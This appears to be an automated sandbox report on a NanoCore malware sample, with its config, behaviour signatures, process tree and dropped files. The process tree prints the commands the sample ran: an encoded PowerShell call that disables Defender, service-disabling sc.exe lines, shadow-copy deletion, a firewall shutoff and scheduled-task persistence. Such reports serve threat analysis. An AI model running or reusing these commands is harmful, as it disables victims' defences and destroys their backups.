Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/10/2026, 04:12

General

  • Target
    glowenergy.io_chrome.exe
  • Size 57KB
  • Sample261014-esl41sysgz
  • SHA256 ed4754fc005e4f237c551eedf6c45de3f6117170814cb76e456da64a17b51340
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://glowenergy.io

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://glowenergy.io

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3300
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5500
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2264
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:928
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4484
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3080
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2992
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4696
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4468
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2300
      • C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe"
        3⤵
          PID:2560
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:1636
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2884
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:4444
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5836
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4616
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5580
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4732
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:6088
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5656
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4608
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            PID:3372
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3728
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:5340
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1224
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            PID:3028
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1364
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
              PID:1756
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1764
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5328
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:2556
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5692
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:5540
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3740
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:5836
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  PID:684
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4164
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:5276
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:2528
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious behavior: EnumeratesProcesses
                PID:4640
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2584
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:4160
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:2096
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:4620
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:3324
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5644
              • C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe
                1⤵
                  PID:1636
                • C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe
                  C:\Users\Admin\AppData\Local\Temp\glowenergy.io_chrome.exe
                  1⤵
                    PID:4432

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        scr_20261014_051334.jpg

                        • Path C:\ProgramData\SysUpdate\Scr\scr_20261014_051334.jpg
                        • Size 129KB
                        • SHA256 0545cd3cf501d7c3c9aaaf45583cdf5e52174b0aef01738993349c30851fbd49
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_2.pdf

                        • Path C:\SystemVolumeInformation\doc_2.pdf
                        • Size 76KB
                        • SHA256 d6fd6747951ead6a884e65b5d6069f67ef60d2573c21891ca3c2a411e50406e9
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        __PSScriptPolicyTest_vhdjo1an.nz3.psm1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vhdjo1an.nz3.psm1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 245B
                        • SHA256 72e090c131c2f9a52135f57244839ec7ce29efc3d74df72e42c2e65d619224ff
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 246B
                        • SHA256 03f9258e39195568ec8ff8ce7e25048fa7dcb3d090bb7816504004e696b67e26
                        • MD5 SHA1 SHA512 TLSH

                        temp_steal.log

                        • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                        • Size 172KB
                        • SHA256 26d747abe6df68145d5d14fe39743918f6a9401573a6f94e9b8bbee667e3fcc0
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        stolen_data_here.txt

                        • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                        • Size 172KB
                        • SHA256 744a9f6f48b5e1345615bedbd12e28827e50f2a2e628890264d4c574b7246b5d
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\Users\Admin\Documents\invoice_1.pdf
                        • Size 76KB
                        • SHA256 009833fbf0e28f7807567f3377bbf1c9256071909d52fa2d84fc77f79f11bb4b
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        READ_ME_NANOCORE.txt

                        • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                        • Size 145B
                        • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                        • MD5 SHA1 SHA512 TLSH

                        RANSOM_NOTE.txt

                        • Path F:\RANSOM_NOTE.txt
                        • Size 177B
                        • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                        • MD5 SHA1 SHA512 TLSH

                        memory/3300-25-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-14-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-19-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-20-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-18-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-21-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-22-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-23-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-24-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-2249-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-2247-0x000002B79C770000-0x000002B79C77A000-memory.dmp

                        memory/3300-27-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-16-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-12-0x000002B784610000-0x000002B784632000-memory.dmp

                        memory/3300-15-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-17-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-2244-0x000002B784640000-0x000002B78465E000-memory.dmp

                        memory/3300-13-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3300-2245-0x000002B79C6B0000-0x000002B79C762000-memory.dmp

                        memory/3808-26-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3808-0-0x00007FFFE92FF000-0x00007FFFE9300000-memory.dmp

                        memory/3808-9-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3808-8-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3808-4-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3808-2280-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3808-2281-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3808-2282-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3808-3-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3808-2-0x00007FFFE9170000-0x00007FFFE9B14000-memory.dmp

                        memory/3808-1-0x00000000000F0000-0x0000000000104000-memory.dmp

                        memory/6088-2268-0x000001AE0E760000-0x000001AE0E761000-memory.dmp